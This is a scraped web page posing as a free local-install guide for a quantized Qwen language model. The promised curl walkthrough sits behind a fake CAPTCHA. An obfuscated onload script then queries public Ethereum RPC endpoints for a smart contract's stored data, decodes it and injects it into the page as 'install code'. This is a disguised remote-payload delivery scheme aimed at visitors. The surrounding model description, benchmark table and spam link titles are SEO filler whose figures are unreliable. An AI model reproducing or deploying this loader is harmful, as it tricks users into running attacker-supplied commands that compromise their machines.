v1WcvU2mEXu8ZL979\/rRzpkl867OLM0XJp8W5ygMUhSEOE4X7i\/SjbCQLWfr2m6cXUiSEgCwMceAjTE9rZzgw3SUyGanfctfa1hjCBySBiluAGPlnLyEl\/JnwnwAqcmrJmXafc5zFnCHdWAux8C3YMEoIudzfNtmm90HhsUa\/GFcnyGvBvEM764E9HIG5sQJKecYECM4G\/HKJtcgnqYKP5VXuN2FolhvQS\/kYH1NTe4EBn6MHXpaSdZ3TwSAHqQt\/CNM7UbWBgLYBA7+DSX+WbDjYO0RHckIx08hFSPict3WG60LJ+sPKxTdWEZee4U6f48zj1caKuqT9\/t8Tpg4a\/REz7USgKvv1YnXW6Jjd98U\/9nM9u4EanuEm0HDPQnjlKgEhe7rH1eUcIMD2LwQwFy9TLlP2eDzJtl1rFDyVuHryFpk8BIAn+JT61N92EtzcHgtjKGMvyGj4EvO0qz0o0Ihf0SWdl1ekMSIX1ipkFVRCz6sV5wPC2v1XXQ4Z+9UynzLb3TCOtE\/TFm7L4RBuoHGj1nravsBM4vsBxWvtvMywtfgt8PuuEzSpdvLijTSHH6pCCTAN13yecWeAITCCnaLxzqAKElm\/Me4sirrzShXq3XGIgzFnOwHFRP+OimAlQUKfD5G\/wSYF1g89+V6ZitMQvOnpFYOKjjDnSlCAjpP5MSJ8Vn+PFVlLrCKsOIfuSPsELjnMmWs3NInQ4Jr++BpzjtHDU1skkSPL4X6qsPRUQ23fVB0HlMaCLr7aP\/cf\/duvaEF+UgeUxLn4pT7sSAYcEqAWpz7tx9TD7Ki7h88evMvBS7iBhVVqd8EuXVgejHKKjUcvj6We8DkLFImX3XPn1DGxONZrodq9T6vZ2QYXRcmzB5oAiF3EqAMKyMXgsi9ajAh6npolJ5kFrtPf1gcIVEsJORcQCvm9fKafCdHLbRjBVEks57i+zMtwHJaeVxo4e9hmM4zkGGTPpfnyzXYvYfFhRFRy+dGkczMbdpYWovLE\/DqkfC6hTIhrudisg0Aypa33h\/lIdAdNIaWvuQp+JtF\/WNho\/OzWm7k0H5TrRQlO2AasTVOE6LBhAjU2cpcecw+CC\/snzRMrw7xjGbxMPCjK2e8omqlrn4ggXPwtt3yjD1yza1T4MAImO8KC4\/5spmse+iI73fkhXnt\/VEFGGNCIVRh4hgWvZAoogimJv\/4TmhEkO5zBHdE99axryq7Gpaz\/EqgrkwxJ75EZuwEjVPNjOSppjglUjNtkM5sxrEyIXyTBTsWSPdBAO9eNAq0\/nI\/g5oUbyrnuqnw\/pS\/b8mIoUhkQqt\/6m6UXVZiy24HCjHPD3b5EelnpdRKxLd\/5gIpEbikk0ahmafh2FLWmWs3hsBeVZNOrdAeKARLXRBtnt5PJcv2ZEH\/ZM6qlVqrDBPBjvdJUejAVTl7SKnL8iI8x2QitWIHtlbr1+jHHckzvArlqvhjGRT5qJFApGCTRhcDF3mSSq7EQJpbbwrcH2GrFm3AT0uHUS8amJYFLlk4NB4zwRFCGE9gn0uQSRfyatdD6+8ho91UFHD4RdMKrDkClXW+DZEsrzYcc21r8RzUNngty9GQCWbSVuuLQyYODM1xeH4D1f5pXnixQTNTAtBk04J7rWVk9xcUQYOM91cjoCB4KUpDv5gIj86wjVBE5wCx5HXGQa51Le\/zB2L7ERi063y8nKOOz\/Ve1ukgrpzbrdW+xT5Goz1AUwynUBQiaG6zaESQ\/9AIctKQO+xE5EvMP+Zzn3KvzHOFw6SOB2isHnkBRXld1FF6Br\/PPVt7j+4WrMOtW3uWa\/jVrGcjcS2uu7rZlc8aaPnuRPwFmyuAQk1CHc0K7\/OQi\/5K1BptBq1g5AgXGfjI5z\/tHhX+5+Uhfa4rNY6HmdvK5V2Bbnhgwel+iTXbJC\/0GPKA0SW6Ll8DO8X+eYWtplon8a02N9W1lQyGmuK+U0Tei1yrqtrBZpciADCFLJF+iEofY3wO3ZS\/CK1f9kzq4D8UuykPLaQonRXNXPJZi5LMlQPy\/Q66yy0OdecnoWB9IoJdjxfqH9AOoUHuxjLiLoSJ8Mm1OqMQ6XWmh1s7Xmwqr6pTznprp2W1\/1YAMhCPsKS14qYvOKZTm5wGKu2OxnIXVqOCKRqJ5k5nGFYMOJQhmIWPpTrmIQqcrvY+KFZJ4XmqZM1AYDecmHV4j2SnY34RktJDEo+fkPMnkrkkofv9T4kUlh7YAzDR9z4mdmCoUwEv5r39OedZmTf\/0GPnghDPJolA5wuMuLxtpXSPGqo\/1JYeDUkntoeXYyahTg+L1XIuUJPyoXG6NUqH5H7IdZ\/+uQBgovHpRTFEhJIzg1j6NQ7lWyCCOHM7\/o5no8PZpwyDpiJ89Z4jt1S2nPb0tgQR3dMMTqrl6M7bVNOn3xeRVjf10ZeTlH9mCxsZb8yKuuLInaG7CWmnTgrgQwuXSM2h9ypPA0Iz+8FlXUyGCKpuWpeimKJWOkWFZTSVRysVVz8z70ZK0GlvuKQw16sIMqXTpSNJjTJsLQEfYfO1wo8nHQyBw6AS1D6WUzYJkQR7bOgPzjjH4GsTmf32iESVjEAmKMtLr7TRJD\/dZ6XrDtKS7CSaDLW0GklqIOu8yDdeuimH28JPcbn2u8IgNx4peq33y29PVd8svLm9+n753iq5Uyoclu67FigLzFvG4PuPdNuaz\/WOOrX5Ci8iVem1Ugl1xdnQGMVAXEbqD00dC37p53LZ89vgD0Nloz+uHRVWCFkU6MddDvTY7NIBisNe3k8YdmorvQhJKJgG5MkiRmgpy24Le9dJrmoBwUhYkuxV+\/kUYXBrWzTC+JQ6ICnqch+Bv+X33tVVWGl0xHhsEdHW+bAErqhcz1f4r97mY9M20y2hhGVsvHfKTpCSt25Gh887wDKnCq\/THRdlCrb5NOg1fTQz1X02L00IojBldEG67yfkDoN3Uot6cjd6Sc+gfhX63BkCoDa2Ccj61LwtZaB\/lybmcsD4GT9hj0bPpecBUgWI8EX1fEsa+tADMHgoVOZFwlDmJPMnd0UpPyxibfUphfkyBm9rxZ0IyA2xPqAUl0IY+A6R+jznJR966pT8hCubwn9eRf6XMtM8UW0+CeHQuJGq0lxKRJ6h5hkJngXMWGTmKClXA0OPwAJ2h8Nlr0JgOhyxXA2VmYSb\/JW8VZS2ZbthHRMEIUskbJpClgaNDc6vC9RLY44mg3OdqjWLNNqCCnk2JqWyUhoztceVHUi3H++xsB+dTVjxirpM62GKqH9w2l3INnL08CB36cVBiZcaes+J\/D5jPGrw6RKzfdl\/swggLmrShgHmwH18pAvvQDEHMa6lnDFQ\/FsvN1f6Lkjy4dl4fKXH9X+F4Fp5ns64tbCu24MW420wiO3WxxL1LrPkwqLM3OWIj1AMKm+Wm6ybHwMcJ7uAyUcs4I9M7mGH4m0g7DC0Ty1NukNwaGFyXsgxSjmUR+MMn2JLm6QA7pHPvk+lnghdXayWq6YgZHfNJJFdArJRkcyuE1bf8R9vWN5h8EwNYgh+wxSCDjszyFxV9MoRjbnCZGZ8d5q5tAKFm3j4dGhS0cJx8IhPQ5l8+8dawgMGaTmaB3QOL77CWkJSQYK1CZSgfmcWWA1cfDtz2QP0zSLCkW+b2LzZcUQBnguTRm62Hsm8V+9GD3FVlxVl\/SDWtpxGFQHIkpkfVzv4hdhqz20SArop1lZr7C8sYRRRDEGxo+Gzzk\/Jg4oATWUflLdW1rhnlYtQSyA\/kF8jyGaej2rndifIKPyP4ixm8tVkhqE7uBxJc6ZUZ80NoN9hBpgTCF5KSjGv\/wQKKQ6K6zKG8IPue3RoxfTlKOPURmL1HB2mfzI343Lu6D0l3lU\/t1ClNlloYgaMYGXJdcyn9u6EmMNc7Zo\/C9V+Gvd19kZJRiPys247EbXLHhInd25RXeHB1\/9ix7\/2StMZDsZvDBzTGSQ03U4NmbqaLT1S3ZmiWIqmFLl3Si71fwQCgQL0AbwygpX7UlVmazuQdw7Uhts0UdKOh7xoOjZQ0I2tmx8qMdZLtB0tmm0gq87Vuzyc1PwY0+FvaZ77ud63XviCpELOxuOTIbSCyXO1SXEnGMF9FJpMDu\/aV1B8OW992fFOUn4ZPHjyVttKCXTWuajTifFsx3xdBQN+MH4EIGTUs3qbZQXFmM5oYdhX377qpJnJnH9vANd7uzR0zFP383czQOu5yA03K2WXEYQhMxo1Sf81jEx\/TLApkJ\/P7fl5u5wYS3LjD+r0d6wGs7OwttdXzV90NoK2Z0n7uZzH9dYBTQwIfgm\/1L\/\/1jKakw506PCMlVaa78+r\/XwNRhRRfSx\/cGxiRo\/tkUIvW\/XtHUPpWlGDFmW46R0FlYnUhvFz45d76Qes6MbcfosYDgHZyZ9Yy5EkHmbW7jA3jEHA2XkEJ2jTPBjh\/8f2R+\/BzUyhrsMyRKmZDJli3QCJnlx11uJFytK6W9TPh46RXB1Uy2iWn7ybAqt2NhrxEMFgN8ViAj1TtIxWKi8HTdqXLwi3sF0eaxPH2KG9ZljRX9IaQY4q5Wdn4NANT\/9SVp41XBL0n9R2dvW4Ee\/6\/h\/\/7ajPEaNM3siV7vOZXgkuQMd4tNSmPW+PXnNt+d4Tepl8S8cWpCxZjG9vu\/CA5guzgTQLrminfskoW7SPDdbFQoLhsQsIFYZHfRNRXpc2KlJ5AIBZDYlA5e58B+4q164WPlbbKE68I9EIV4W2fqyAJ5NNwpoGw9\/X5oeQxNr0aN\/3lYGEGSZBuRrQ320KVxGEKNAB8Rypcmhd4ZFoD\/LcWcR4pxZivUJksypygRtpYzxSg\/f53FihNyqQsYPL+WQ0rWnCHlZ2qFRW5EMC5pAEg49uPJYbzX0ys4zdSXJVjqWfa4AhawQV+Ct4Ondcu9UtvbJixVZM\/al6ByBl0j27r5obXIwfue85TlvNXHR2WKoQkVrH9I0HWEXSd6Ta4Y6JJt6KwESIC6B75ttlZICTU+akk86LKe3YRlMIuGcSWSwfah2hN4ivPB+TdIo9kO2TB6AKlwAOK7LRBfmXxn45hsq+iVS8ouRLPoYGtb5T5hptOlZAoYUMcsFWHRZCOtIi3JVEgm5yIL3PrLxm+DIQPXGduLUZ61AToWuVMTtyDGTseTS86xdnXwCVDlTeHybS6IRUSU3MapekjJPs25do\/Ehrk8iTaM\/MSSx2gTpJoUY0iFISTGn4wxWe3h2+umXn47BgX83g3\/0Qs0whYI4gwJ\/Nl1ZuusSJ0441HJQJqIp4WPU8lLxUnF4Lx\/SiX2olOTjp78Y5hewOPEQd34sCttroffDyx\/KmxOPw4DPDG3YevCQq91dcTNVXzTcGlj0vxQPVyoZJ9idD0WKNHPdyfKvKp+rZCyaSiLNznvnCagOZow8DOy1y2SsxTk8VTm0KhaAfsp3scMMegDvmC9\/KNwXawjYL8MYIHXIetJF6ywQAAn1O1ElJ+FNBF6AsC+0V4QgQ46es5iKmVn8d\/7DOCQhjRhIemWFT36Gc3yejTsdRIM2OImE0mVe78DqBYZb+RuWDLe6yicBY2tgkTPTJFb8SLXc+3qUZYzazcGuUMk4+6fdLogFf\/Va3d0BETyf3p4gbCEDOQ3wkb7Tz8MoYEEx40Sas6GoUZPJPtznwRpyF3LwVSXk8XOlp9fBYbs9zlJH+sKfN8jKWQRzRnsjLiwHwsCxc6YtyLMK+dRjMv3nsgs0aQDERTEAGKUTmKlWCl4pi3YWpMwdenAtuiswzcgKhjaFn1jYLV9Q7l+RGjrslVWBkJ9yWJn3fHX8mSlYu1nnmTN\/lEYBopIsl+EK6fzk4XXKjAyHxZSEttvel7joVGZBbGWfxw2RQ6MFW4gAAAAAAAABncvmv6NfAaM2oXLChRMpu\/6EEJ\/JSlwBmy8IfTtjyAKlHHvUItjdAkzbYyAF7P5thhgO7wLIk0YPR6QeA\/dSWJ0YoEw05RzVJNZP\/Oyj8Eh8udQ89CfLMMfhFK4tOxfXTEvZ9K\/dVCAwDUsWaXQM6jgJ3PTY7Nkok4znQJYc0W6bYjuZuJ7l8VImb\/tFjAMzdPkyEQHgodou3C+peRn9eHmIIHs41jyVHwQ6tXGq\/m5KOVOLnYCmJ6MXQj+AH92c0pTCM47hcIEPcFhF90Qel1+AHSryfZVdNj3800uQnKIqQVFFMpX27XcjfzROht6VOCWz2Po1AQrZCxRBa7WgZmZOJ6W8QcVZMlBr8LhX8HHULw9ycodwVcV3M57bl\/vs3cvgpyxgGis2Wrp4Ycr7OiWdWRmyUgvCXAxeMNXQR4fd0IE8la\/0ekuTdwahOwR4wc6iZ8ngqMmfyeRiwcO5uMf0ux765q6y0N3grGx6PpP4yHzz0MBR1zwQVQYZYDct2lFafgh0dYSEBBCIuatYviOCfHZGgsoeAzKMzwnCjM1VkJAZIgUdkYI9HsaFDY4HYY3e40\/nqST+JgJnV0otqpXBHgBP8jhlPZLaTyBgh2eFFgulqmh4ZzzRsfwq+1WMVA498HGdQ2aWVjM3MEN\/FCzlEyfkABiW8Y7\/E8qMWN3XOJsq9BM2xPJCjeg\/IZH1iZYZ+yja2IBw2YTjMw2Nf+3HWQBWW7dNU54PiEi\/rYqdghckZnyfcBJcRMReBvDXYg22rSlwv9gw\/GryV0xnjdZf4GmFhmwTg9Iw0lghF4v5wo9QFBLHRuCryvY4\/NTeWq2hRYGASiQMV80wWxIYLyjfFOslURBSXUN4H6jxOtsbsqcFS5vMToQf2OTnwAAAbVNFZmAAS\/386RcYG9j\/kHihR1\/Z8QvWCopghHafS93B6ycuuLuNQBtxxJW+fFkO8Drl\/G+dOfG7YNdJdyBJbFC\/NaPDTMJgSooo2NDjfkRhZvJzSW3hyf4E5aIYkMLqR80rITk3H5vjbEBr+3Hv\/I+iV+PshCbntb24AYnmgpCKvtD4GAuvsOHpMRw\/9PaVoppojEkTH6H6aRTGpjAuMEuN3Ar30XL2Ksonm+69vM76vXJ9enOwtQaI08j6zxPKd+dfss9B4LK3wvov8z1+CNy+OtSQLnT2hk3sjwoUNwBOPwnIBkTQBdBkdJLLbDaS3HkDqecvh4ZX5Iceql6eKzCSfL+AZOdvGMw9udInYtEmBkewt0JVplTFsNTBTJ6fnm2TrhLDZDjCZLL8BsQk1iBJ2He1S5kKEcmY9vF1g+7+\/L0v1fZAQPRLE4DMtK8HAzwh4JTEVTVrwXN+I\/LNWoJmfm\/+CDRDQCpTtRibwH+LG+6NA75frQEHqxxRnwheV011drXybsZO03CgAA7ou8eSMDrzuDISOTrcgHKP9B1sSykdnUTjYi6ediihTPOqlgmA4mC0iUlfi2FSRfMP61eiq8snr0B99FqHle2R\/UUqNMWLwO7EZPuAmiDm486\/iBY8sHaFypbm+CD5XDoTS9DI+aLyV7a6lxny5twfvYz66p6poZvPgTkTUCY2GVIH60cOk0i4pvxOGm4eqQVacLeUSj2LaaQXy+yH+xlAXZF10Lp79Rpaj8BiS7pOhGK5edw\/RShxc0jx5A713iv0g5b3RIhnu0by2lNlcuEhW5eX9UN7tcjtFAfGgAAAbcAADKAHzRn2NO5TGReBsHNAMVHgcWIh\/cqFeZgM04QR\/JgpWqEU9vibLVfbZJTfVR44IR+6RoWNIXjPuyYaYCJv8UBA4PtAYOMtyZu+V5gehaqLMbflsaq6LvGaV3zn8CavyDk07E3aNFlvoJooUKgU5rhmQz6fwLphonmw1DOPS\/Z+nk\/oLD\/q+b3yHjZH3XB08kgwjJPJw5snDLL1UhfuQCsloWP2ZtzC7sZaia9ledSDGlTvmMJCKMsGZiJCEs70tnxmglWjzVjHy6BaGlHitSmo+6Cp8h2qCku6+nO6YOZg8JUNfjCelBW+COmsgY+gsU3KhgULVLB\/f3Z+0KgL1tVBtN\/D9FKz8ob\/X37ZI69Fkd5Kx0SScUutKwSZggDhcmFRdWQ\/tC3mBRl0vmazBy3q+SqhB2xIg1B1rs8Y1sfWdNdaD87krl\/YgoMtYdAyKmu7VR8L4Hi6EuRjsqB3h9hVlaiYRZ2PHoW56TYYt+AgIWjVWiBthi6xL44sZF7zvGDUqM56c153sliQ7mzVNjPZBQH6K7KG7909TW9B+8eDsVxWD5+35S8xdfig4Fb1GFYyHqbAr6Q8JU8son5IgXVrOkFTzsQAPLWnnzwiXQsydAoQpEYbML5uU\/4CH4GIOOB0fNEpvrLKBWkS\/EckhV1joDzRM4Ptupzi6N19yhENVuMHk5rVVwC+UDI2ZAicC8yuXRLx\/bm2+549xotozU7tumj4HOVW+0JaSy3Idx+20XNKE2DtVeo2VY4lp9ukAdnL1cTJ+Iz8ux13DjNEAfCgClWhPe6+ux\/MOE+ddxXADvnngK37HHscNjMqXyj\/dyMtbZJKtX278isRqv9Cdo8kRS\/NkECYKc1rKPXrFXbAex\/kj1V6jt6YwjtTPQ25t9fbd+yDEqCnES5C856TKodYYpajoTl3PIfs936q4\/R2vptKixFrwRxP+dkTVQ8LZScdD8VXQAj94Su3cLbvfXDZgfsMyYaTeYXirBnxdpiXB\/L5dbTKPoFSi6tUAKFU5ZK0ScDcZ0bF1hRYaBHH+r3Hzsp+q4AA715s+qb7BBy44KDCt4W360Op8pbX5\/Q2zoNbSHpnUUMa\/2kKDK7JljVvk1TLfg46NqGCjxbWVvQfqXezQcAmw\/+y6Tub8vQBS7h9h9ot\/2iG9sTzybR7H3kORsjLwhq\/MwTc+e7Ai+\/PzZwoBk0xXM1WQ9zr6uGiWlNsPczXQUC7tmmMNF2Grf2yYEJOUObgGnqucoFd5qBiVuAPjfg197yC0Z\/B3MBULFKseRAI6W2ZBh+iYGznHGBm+dZZ8IikFg+ZfE6NteCmv3m1+xyMOzJ8R4JOP5a7euhjhhx6Gu8yK6zsaMFpPxRMvtw3aajJEF8dhMixeMUhilSoodThworyzHY7tO41qmDGe3NJA9XF8FM5162fI5bol9SL2BYtqT39o014kX\/ekyChHHRt\/6XyrZQJMKuuKOB0LxdSev276DSluZlTygfvbHvpnM+niFX8l12erq8ZWYyLc2OAr8Lsrh1\/RoVgKcKJdnEhfONPzIjV5c\/gpYAQcpWfilVnVoXPyJXYLf5Mk48ihpOj3EILWSY9pG\/PwugnnaYEshnkuzPzfwgs9QZiX+Y84d24GujEM4MSCyG1gybiwMhci9WdMEoS553DqyrdJPDcXIjXcjPCtihFl\/NSimoED21jwQVt93Q9jfc6zQVD8E\/DFW4xIfDyaodzGF+tJ3pFHYhR26JD8iAkd+zHP7mONwNH\/Lf2wG9e+8dR\/pN\/\/yoRR\/keZ2wK2x+x+4DQ+CRQqzRD4rWKSlhMFCLl6QD0nNxPLuZBe\/\/8lHVxwpQjS1nraFskM9UqBo7i9DRVVlMk6rUAyDVjTd1LPIDf+SXLs+3b971XWqAFFvM63oOcGQWxy8Ypg6aCgOSYTGfeI4k6Lpd4T2UFGO1OgOgdthMB+wvldUCq7jyhENC+aDNk+OAkkCGUmNkejMsdYTIV4j\/U01ufW+0Dnno0YLlV+e6gxpVuZIKJERGwsaSohuQOhyeg8DTjfVIduKApYQu3WTvarQY0I0UU05O+64VKRhXm6jsvH4JwPb6u\/otT52felHSNsI3WnA0BfnJTA+MY4IZMtlKLTfrbHvgceaUvg7fF8o+c\/MSZmF9KEqwgoUOFFNHmU5uEbP+ROVFPIy95d5agYFo7reLUUxWjwEgG7ng2BkxM1W94DiUSFa6N\/5ZoRb70X1YVSxKEviJmnU2aufobgI5mMvtEDmAjRj5bIwENz+6obBWGcogUChrA+EmOI27Ul9dSwYRsdO8iO+e6qCVc41LAZ7kD3L\/0Cu9MFFvwtE9kxEn21I07bvEwlPzLAp3CR5Ct8mnmf6PvN1ykMMr3zKascTQ7ZWF\/g7O0aLHU5OxVVqJDE3hoPQQ90DV67seiimIWB\/k0b4Wc1nyWDqX1wyRUXOTKGkbmVCIJSAKo4DmMZEENfJ3yuzmItJ7bD\/ojbnIPgQkXXaOhw8ijzZZczgJWk4UCvI4F9vLzpELFVTiyy8wwfihEpoZc1NQXru6n\/G+Zql4dic41sk5MQGdC7aHMQGQyjgInXJemf3dDFuqkyIE0A8BBN28es7xVQWA60gE1U3HhLa\/OiGd8\/\/sVgYgSXo6hob+heL7A670OzTY4B2d3SDoWqVHU2OSxCtljr5sJyr1bFkd2N0aJqVB+ZSxqfCRngsCb31P8ncDP\/T7AbQXPhTUCsu2QAA==\" alt=\"Qwen3.6-27B-AWQ-INT4 Windows 11 with Native FP4\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Deploying this model locally is <i>quickest<\/i> when done via a simple <b>curl command<\/b>.<\/p>\n<p>Follow the <i>straightforward<\/i> <b>walkthrough<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>Without any user input, the software <b>calibrates parameters for optimal hardware usage<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:26px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 28px 56px rgba(0,0,0,0.12);border:1px solid rgba(0,0,0,0.05);\">\n<tr>\n<td style=\"padding:52px 70px;text-align:center;font-size:28px;color:#0f172a;line-height:3;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:'PT Mono';\">\ud83e\uddee Hash-code: 04f7675ab8ec979bc4296399d8a6f55b \u2022 \ud83d\udcc6 2026-06-28<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'f043826e_windows_with');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-27B-AWQ-INT4<\/b> model represents a significant advancement in large language models, combining the depth of a 27\u2011billion parameter architecture with efficient quantization techniques. By employing <i>AWQ<\/i> (Activation\u2011aware Weight Quantization) and <i>INT4<\/i> precision, the model achieves a remarkable balance between performance and computational efficiency, making it suitable for deployment on consumer\u2011grade hardware. It retains the strong reasoning capabilities of the original <b>Qwen3.6<\/b> series while reducing model size and memory footprint, which translates into faster inference times and lower power consumption. The model has been <b>fine\u2011tuned<\/b> on a diverse <b>corpus<\/b> of web\u2011scale data, enabling it to handle a broad range of tasks from text generation to complex problem solving with high accuracy. A comparison table below highlights how its metrics stack up against similar quantized models in the market.  <\/p>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Quantization<\/th>\n<th>Accuracy (BLEU)<\/th>\n<th>Inference Time (s)<\/th>\n<th>Memory Usage (GB)<\/th>\n<\/tr>\n<tr>\n<td>Qwen3.6-27B-AWQ-INT4<\/td>\n<td>27B<\/td>\n<td>INT4 AWQ<\/td>\n<td>92.3<\/td>\n<td>0.45<\/td>\n<td>12.8<\/td>\n<\/tr>\n<tr>\n<td>LLaMA-30B-AWQ-INT4<\/td>\n<td>30B<\/td>\n<td>INT4 AWQ<\/td>\n<td>90.7<\/td>\n<td>0.62<\/td>\n<td>14.5<\/td>\n<\/tr>\n<tr>\n<td>Falcon-40B-INT4<\/td>\n<td>40B<\/td>\n<td>INT4<\/td>\n<td>89.5<\/td>\n<td>0.78<\/td>\n<td>16.2<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Downloader pulling specialized biomedical classification models for offline evaluation frameworks<\/li>\n<li>Launch Qwen3.6-27B-AWQ-INT4 Using Pinokio Zero Config Dummy Proof Guide FREE<\/li>\n<li>Script fetching custom model merges directly into specific KoboldAI directory trees<\/li>\n<li>How to Deploy Qwen3.6-27B-AWQ-INT4 No Admin Rights Complete Walkthrough FREE<\/li>\n<li>Script downloading custom LoRA modules for advanced SDXL photorealism<\/li>\n<li>How to Deploy Qwen3.6-27B-AWQ-INT4 Windows 10 Local Guide Windows FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/genesisstudiobd.com\/category\/keys\/'>https:\/\/genesisstudiobd.com\/category\/keys\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Deploying this model locally is quickest when done via a simple curl command. Follow the straightforward walkthrough provided below. No manual effort needed; the setup auto-ingests the large data. Without any user input, the software calibrates parameters for optimal hardware usage. \ud83e\uddee Hash-code: 04f7675ab8ec979bc4296399d8a6f55b \u2022 \ud83d\udcc6 2026-06-28 Verify Processor: 4.0 GHz+ boost clock recommended for 